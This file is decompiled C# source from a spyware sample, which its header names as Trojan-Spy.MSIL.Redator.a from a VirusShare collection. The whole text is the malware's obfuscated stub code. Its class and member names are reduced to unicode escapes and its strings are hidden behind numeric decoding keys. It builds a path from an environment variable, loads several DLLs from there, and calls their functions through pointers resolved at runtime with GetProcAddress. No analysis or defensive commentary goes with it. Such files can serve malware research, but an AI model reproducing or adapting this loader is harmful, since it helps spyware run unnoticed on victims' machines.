// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null
// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe

using \u0005;
using \u0006;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Runtime.InteropServices;
using System.Text;

namespace \u0005
{
  internal sealed class \u0001
  {
    private static IntPtr \u0001;
    public static string \u0001;

    [DllImport("kernel32.dll", EntryPoint = "LoadLibrary")]
    private static extern IntPtr \u0003([In] string obj0);

    [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi, SetLastError = true)]
    private static extern IntPtr \u0003([In] IntPtr obj0, [In] string obj1);

    public static long \u0003([In] string obj0)
    {
      long num;
      try
      {
        string str = Environment.GetEnvironmentVariable(\u0001.\u0003(-1567516124)) + \u0001.\u0003(-1567516215);
        \u0001.\u0003(str + \u0001.\u0003(-1567519556));
        \u0001.\u0003(str + \u0001.\u0003(-1567519679));
        \u0001.\u0003(str + \u0001.\u0003(-1567519663));
        \u0001.\u0003(str + \u0001.\u0003(-1567519646));
        \u0001.\u0003(str + \u0001.\u0003(-1567519630));
        \u0001.\u0003(str + \u0001.\u0003(-1567519744));
        \u0001.\u0003(str + \u0001.\u0003(-1567519722));
        \u0001.\u0003(str + \u0001.\u0003(-1567519685));
        \u0001.\u0001 = \u0001.\u0003(str + \u0001.\u0003(-1567509560));
        num = ((\u0001.\u0002) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509543)), typeof (\u0001.\u0002)))(obj0);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return num;
    }

    public static long \u0003() => ((\u0001.\u0004) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509526)), typeof (\u0001.\u0004)))();

    public static long \u0003([In] long obj0, [In] bool obj1, [In] long obj2) => ((\u0001.\u0003) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509516)), typeof (\u0001.\u0003)))(obj0, obj1, obj2);

    public static int \u0003([In] IntPtr obj0, [In] IntPtr obj1, [In] StringBuilder obj2, [In] int obj3) => ((\u0001.\u0005) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509604)), typeof (\u0001.\u0005)))(obj0, obj1, obj2, obj3);

    public static int \u0003([In] ref \u0001.\u0001 obj0, [In] ref \u0001.\u0001 obj1, [In] int obj2) => ((\u0001.\u0006) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509569)), typeof (\u0001.\u0006)))(ref obj0, ref obj1, obj2);

    public struct \u0001
    {
      public int \u0001;
      public int \u0001;
      public int \u0001;
    }

    public delegate long \u0002(string _param1);

    public delegate long \u0003(long _param1, bool _param2, long _param3);

    public delegate long \u0004();

    public delegate int \u0005(IntPtr _param1, IntPtr _param2, StringBuilder _param3, int _param4);

    public delegate int \u0006(ref \u0001.\u0001 _param1, ref \u0001.\u0001 _param2, int _param3);
  }
}
